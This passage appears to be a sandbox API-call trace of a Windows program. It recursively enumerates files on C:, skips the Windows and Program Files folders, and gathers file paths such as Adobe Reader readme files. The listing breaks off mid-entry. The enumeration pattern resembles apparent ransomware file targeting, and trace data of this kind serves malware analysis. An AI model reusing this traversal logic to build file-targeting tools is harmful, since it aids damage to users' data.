lstrlenW (lpString="c:\\bootmgr") returned 10 [0040.123] lstrcpyW (in: lpString1=0x12ed48, lpString2="c:\\bootmgr" | out: lpString1="c:\\bootmgr") returned="c:\\bootmgr" [0040.123] FindNextFileW (in: hFindFile=0x775c98, lpFindFileData=0x3df284 | out: lpFindFileData=0x3df284) returned 1 [0040.123] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2=".") returned 1 [0040.123] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2="..") returned 1 [0040.123] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2="Windows") returned -1 [0040.123] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2="Program Files") returned -1 [0040.123] lstrlenW (lpString="c:\\") returned 3 [0040.123] lstrlenW (lpString="BOOTSECT.BAK") returned 12 [0040.123] lstrcatW (in: lpString1="c:\\", lpString2="BOOTSECT.BAK" | out: lpString1="c:\\BOOTSECT.BAK") returned="c:\\BOOTSECT.BAK" [0040.123] lstrlenW (lpString="c:\\BOOTSECT.BAK") returned 15 [0040.123] lstrcpyW (in: lpString1=0x12ed68, lpString2="c:\\BOOTSECT.BAK" | out: lpString1="c:\\BOOTSECT.BAK") returned="c:\\BOOTSECT.BAK" [0040.123] FindNextFileW (in: hFindFile=0x775c98, lpFindFileData=0x3df284 | out: lpFindFileData=0x3df284) returned 1 [0040.123] lstrcmpW (lpString1="Documents and Settings", lpString2=".") returned 1 [0040.123] lstrcmpW (lpString1="Documents and Settings", lpString2="..") returned 1 [0040.123] lstrcmpW (lpString1="Documents and Settings", lpString2="Windows") returned -1 [0040.123] lstrcmpW (lpString1="Documents and Settings", lpString2="Program Files") returned -1 [0040.123] lstrlenW (lpString="c:\\") returned 3 [0040.123] lstrlenW (lpString="Documents and Settings") returned 22 [0040.123] lstrcatW (in: lpString1="c:\\", lpString2="Documents and Settings" | out: lpString1="c:\\Documents and Settings") returned="c:\\Documents and Settings" [0040.123] lstrcatW (in: lpString1="c:\\Documents and Settings", lpString2="\\" | out: lpString1="c:\\Documents and Settings\\") returned="c:\\Documents and Settings\\" [0040.123] lstrlenW (lpString="c:\\Documents and Settings\\") returned 26 [0040.123] lstrcatW (in: lpString1="c:\\Documents and Settings\\", lpString2="*" | out: lpString1="c:\\Documents and Settings\\*") returned="c:\\Documents and Settings\\*" [0040.123] FindFirstFileW (in: lpFileName="c:\\Documents and Settings\\*", lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 0xffffffff [0040.123] FindNextFileW (in: hFindFile=0x775c98, lpFindFileData=0x3df284 | out: lpFindFileData=0x3df284) returned 1 [0040.123] lstrcmpW (lpString1="hiberfil.sys", lpString2=".") returned 1 [0040.123] lstrcmpW (lpString1="hiberfil.sys", lpString2="..") returned 1 [0040.123] lstrcmpW (lpString1="hiberfil.sys", lpString2="Windows") returned -1 [0040.123] lstrcmpW (lpString1="hiberfil.sys", lpString2="Program Files") returned -1 [0040.123] lstrlenW (lpString="c:\\") returned 3 [0040.123] lstrlenW (lpString="hiberfil.sys") returned 12 [0040.123] lstrcatW (in: lpString1="c:\\", lpString2="hiberfil.sys" | out: lpString1="c:\\hiberfil.sys") returned="c:\\hiberfil.sys" [0040.123] lstrlenW (lpString="c:\\hiberfil.sys") returned 15 [0040.123] lstrcpyW (in: lpString1=0x12ed90, lpString2="c:\\hiberfil.sys" | out: lpString1="c:\\hiberfil.sys") returned="c:\\hiberfil.sys" [0040.123] FindNextFileW (in: hFindFile=0x775c98, lpFindFileData=0x3df284 | out: lpFindFileData=0x3df284) returned 1 [0040.123] lstrcmpW (lpString1="pagefile.sys", lpString2=".") returned 1 [0040.123] lstrcmpW (lpString1="pagefile.sys", lpString2="..") returned 1 [0040.123] lstrcmpW (lpString1="pagefile.sys", lpString2="Windows") returned -1 [0040.123] lstrcmpW (lpString1="pagefile.sys", lpString2="Program Files") returned -1 [0040.123] lstrlenW (lpString="c:\\") returned 3 [0040.123] lstrlenW (lpString="pagefile.sys") returned 12 [0040.123] lstrcatW (in: lpString1="c:\\", lpString2="pagefile.sys" | out: lpString1="c:\\pagefile.sys") returned="c:\\pagefile.sys" [0040.123] lstrlenW (lpString="c:\\pagefile.sys") returned 15 [0040.123] lstrcpyW (in: lpString1=0x12edb8, lpString2="c:\\pagefile.sys" | out: lpString1="c:\\pagefile.sys") returned="c:\\pagefile.sys" [0040.123] FindNextFileW (in: hFindFile=0x775c98, lpFindFileData=0x3df284 | out: lpFindFileData=0x3df284) returned 1 [0040.123] lstrcmpW (lpString1="PerfLogs", lpString2=".") returned 1 [0040.124] lstrcmpW (lpString1="PerfLogs", lpString2="..") returned 1 [0040.124] lstrcmpW (lpString1="PerfLogs", lpString2="Windows") returned -1 [0040.124] lstrcmpW (lpString1="PerfLogs", lpString2="Program Files") returned -1 [0040.124] lstrlenW (lpString="c:\\") returned 3 [0040.124] lstrlenW (lpString="PerfLogs") returned 8 [0040.124] lstrcatW (in: lpString1="c:\\", lpString2="PerfLogs" | out: lpString1="c:\\PerfLogs") returned="c:\\PerfLogs" [0040.124] lstrcatW (in: lpString1="c:\\PerfLogs", lpString2="\\" | out: lpString1="c:\\PerfLogs\\") returned="c:\\PerfLogs\\" [0040.124] lstrlenW (lpString="c:\\PerfLogs\\") returned 12 [0040.124] lstrcatW (in: lpString1="c:\\PerfLogs\\", lpString2="*" | out: lpString1="c:\\PerfLogs\\*") returned="c:\\PerfLogs\\*" [0040.124] FindFirstFileW (in: lpFileName="c:\\PerfLogs\\*", lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 0xffffffff [0040.124] FindNextFileW (in: hFindFile=0x775c98, lpFindFileData=0x3df284 | out: lpFindFileData=0x3df284) returned 1 [0040.124] lstrcmpW (lpString1="Program Files", lpString2=".") returned 1 [0040.124] lstrcmpW (lpString1="Program Files", lpString2="..") returned 1 [0040.124] lstrcmpW (lpString1="Program Files", lpString2="Windows") returned -1 [0040.124] lstrcmpW (lpString1="Program Files", lpString2="Program Files") returned 0 [0040.124] FindNextFileW (in: hFindFile=0x775c98, lpFindFileData=0x3df284 | out: lpFindFileData=0x3df284) returned 1 [0040.124] lstrcmpW (lpString1="Program Files (x86)", lpString2=".") returned 1 [0040.124] lstrcmpW (lpString1="Program Files (x86)", lpString2="..") returned 1 [0040.124] lstrcmpW (lpString1="Program Files (x86)", lpString2="Windows") returned -1 [0040.124] lstrcmpW (lpString1="Program Files (x86)", lpString2="Program Files") returned 1 [0040.124] lstrlenW (lpString="c:\\") returned 3 [0040.124] lstrlenW (lpString="Program Files (x86)") returned 19 [0040.124] lstrcatW (in: lpString1="c:\\", lpString2="Program Files (x86)" | out: lpString1="c:\\Program Files (x86)") returned="c:\\Program Files (x86)" [0040.124] lstrcatW (in: lpString1="c:\\Program Files (x86)", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\") returned="c:\\Program Files (x86)\\" [0040.124] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0040.124] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\*") returned="c:\\Program Files (x86)\\*" [0040.124] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\*", lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 0x775cd8 [0040.124] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.124] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.124] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.124] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.124] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.124] lstrcmpW (lpString1="Adobe", lpString2=".") returned 1 [0040.124] lstrcmpW (lpString1="Adobe", lpString2="..") returned 1 [0040.124] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0040.124] lstrlenW (lpString="Adobe") returned 5 [0040.124] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Adobe" | out: lpString1="c:\\Program Files (x86)\\Adobe") returned="c:\\Program Files (x86)\\Adobe" [0040.124] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Adobe\\") returned="c:\\Program Files (x86)\\Adobe\\" [0040.124] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\") returned 29 [0040.124] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Adobe\\*") returned="c:\\Program Files (x86)\\Adobe\\*" [0040.124] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Adobe\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.124] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.124] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.125] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.125] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.125] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.125] lstrcmpW (lpString1="Reader 10.0", lpString2=".") returned 1 [0040.125] lstrcmpW (lpString1="Reader 10.0", lpString2="..") returned 1 [0040.125] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\") returned 29 [0040.125] lstrlenW (lpString="Reader 10.0") returned 11 [0040.125] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\", lpString2="Reader 10.0" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0" [0040.125] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0040.125] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0040.125] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\*") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\*" [0040.125] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.125] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.125] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.125] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.125] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.125] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.125] lstrcmpW (lpString1="Benioku.htm", lpString2=".") returned 1 [0040.125] lstrcmpW (lpString1="Benioku.htm", lpString2="..") returned 1 [0040.125] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0040.125] lstrlenW (lpString="Benioku.htm") returned 11 [0040.125] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Benioku.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm" [0040.125] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm") returned 52 [0040.125] lstrcpyW (in: lpString1=0x12ede0, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm" [0040.125] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.125] lstrcmpW (lpString1="Berime.htm", lpString2=".") returned 1 [0040.125] lstrcmpW (lpString1="Berime.htm", lpString2="..") returned 1 [0040.125] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0040.125] lstrlenW (lpString="Berime.htm") returned 10 [0040.125] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Berime.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm" [0040.125] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm") returned 51 [0040.125] lstrcpyW (in: lpString1=0x12ee58, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm" [0040.125] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.125] lstrcmpW (lpString1="Esl", lpString2=".") returned 1 [0040.125] lstrcmpW (lpString1="Esl", lpString2="..") returned 1 [0040.125] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0040.125] lstrlenW (lpString="Esl") returned 3 [0040.125] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Esl" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl" [0040.125] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.125] lstrcmpW (lpString1="IrakHau.htm", lpString2=".") returned 1 [0040.125] lstrcmpW (lpString1="IrakHau.htm", lpString2="..") returned 1 [0040.125] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0040.125] lstrlenW (lpString="IrakHau.htm") returned 11 [0040.125] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="IrakHau.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm" [0040.125] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm") returned 52 [0040.125] lstrcpyW (in: lpString1=0x12eec8, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm" [0040.125] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.126] lstrcmpW (lpString1="Leame.htm", lpString2=".") returned 1 [0040.126] lstrcmpW (lpString1="Leame.htm", lpString2="..") returned 1 [0040.126] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0040.126] lstrlenW (lpString="Leame.htm") returned 9 [0040.126] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Leame.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm" [0040.126] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm") returned 50 [0040.126] lstrcpyW (in: lpString1=0x12ef40, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm" [0040.126] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.126] lstrcmpW (lpString1="LeesMij.htm", lpString2=".") returned 1 [0040.126] lstrcmpW (lpString1="LeesMij.htm", lpString2="..") returned 1 [0040.126] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0040.126] lstrlenW (lpString="LeesMij.htm") returned 11 [0040.126] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="LeesMij.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm" [0040.126] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm") returned 52 [0040.126] lstrcpyW (in: lpString1=0x12efb0, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm" [0040.126] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.126] lstrcmpW (lpString1="Leggimi.htm", lpString2=".") returned 1 [0040.126] lstrcmpW (lpString1="Leggimi.htm", lpString2="..") returned 1 [0040.126] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0040.126] lstrlenW (lpString="Leggimi.htm") returned 11 [0040.126] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Leggimi.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm" [0040.126] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm") returned 52 [0040.126] lstrcpyW (in: lpString1=0x12f028, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm" [0040.126] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.126] lstrcmpW (lpString1="LeiaMe.htm", lpString2=".") returned 1 [0040.126] lstrcmpW (lpString1="LeiaMe.htm", lpString2="..") returned 1 [0040.126] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0040.126] lstrlenW (lpString="LeiaMe.htm") returned 10 [0040.126] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="LeiaMe.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm" [0040.126] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm") returned 51 [0040.126] lstrcpyW (in: lpString1=0x12f0a0, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm" [0040.126] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.126] lstrcmpW (lpString1="Liesmich.htm", lpString2=".") returned 1 [0040.126] lstrcmpW (lpString1="Liesmich.htm", lpString2="..") returned 1 [0040.126] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0040.126] lstrlenW (lpString="Liesmich.htm") returned 12 [0040.126] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Liesmich.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm" [0040.126] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm") returned 53 [0040.126] lstrcpyW (in: lpString1=0x12f110, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm" [0040.126] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.126] lstrcmpW (lpString1="Lisezmoi.htm", lpString2=".") returned 1 [0040.126] lstrcmpW (lpString1="Lisezmoi.htm", lpString2="..") returned 1 [0040.126] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0040.126] lstrlenW (lpString="Lisezmoi.htm") returned 12 [0040.126] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Lisezmoi.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm" [0040.126] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm") returned 53 [0040.126] lstrcpyW (in: lpString1=0x12f188, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm" [0040.126] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.126] lstrcmpW (lpString1="Llegiu-me.htm", lpString2=".") returned 1 [0040.126] lstrcmpW (lpString1="Llegiu-me.htm", lpString2="..") returned 1 [0040.126] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0040.127] lstrlenW (lpString="Llegiu-me.htm") returned 13 [0040.127] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Llegiu-me.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm" [0040.127] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm") returned 54 [0040.127] lstrcpyW (in: lpString1=0x12f200, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm" [0040.127] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.127] lstrcmpW (lpString1="LueMinut.htm", lpString2=".") returned 1 [0040.127] lstrcmpW (lpString1="LueMinut.htm", lpString2="..") returned 1 [0040.127] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0040.127] lstrlenW (lpString="LueMinut.htm") returned 12 [0040.127] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="LueMinut.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm" [0040.127] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm") returned 53 [0040.127] lstrcpyW (in: lpString1=0x12f278, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm" [0040.127] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.127] lstrcmpW (lpString1="Reader", lpString2=".") returned 1 [0040.127] lstrcmpW (lpString1="Reader", lpString2="..") returned 1 [0040.127] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0040.127] lstrlenW (lpString="Reader") returned 6 [0040.127] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Reader" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" [0040.127] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.127] lstrcmpW (lpString1="ReadMe.htm", lpString2=".") returned 1 [0040.127] lstrcmpW (lpString1="ReadMe.htm", lpString2="..") returned 1 [0040.127] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0040.127] lstrlenW (lpString="ReadMe.htm") returned 10 [0040.127] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMe.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm" [0040.127] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm") returned 51 [0040.127] lstrcpyW (in: lpString1=0x12f2f0, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm" [0040.127] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.127] lstrcmpW (lpString1="ReadMeCS.htm", lpString2=".") returned 1 [0040.127] lstrcmpW (lpString1="ReadMeCS.htm", lpString2="..") returned 1 [0040.127] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0040.127] lstrlenW (lpString="ReadMeCS.htm") returned 12 [0040.127] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeCS.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm" [0040.127] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm") returned 53 [0040.127] lstrcpyW (in: lpString1=0x12f360, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm" [0040.127] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.127] lstrcmpW (lpString1="ReadMeCT.htm", lpString2=".") returned 1 [0040.127] lstrcmpW (lpString1="ReadMeCT.htm", lpString2="..") returned 1 [0040.127] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0040.127] lstrlenW (lpString="ReadMeCT.htm") returned 12 [0040.127] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeCT.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm" [0040.127] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm") returned 53 [0040.127] lstrcpyW (in: lpString1=0x12f3d8, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm" [0040.127] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.127] lstrcmpW (lpString1="ReadMeCZE.htm", lpString2=".") returned 1 [0040.127] lstrcmpW (lpString1="ReadMeCZE.htm", lpString2="..") returned 1 [0040.127] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0040.127] lstrlenW (lpString="ReadMeCZE.htm") returned 13 [0040.127] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeCZE.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 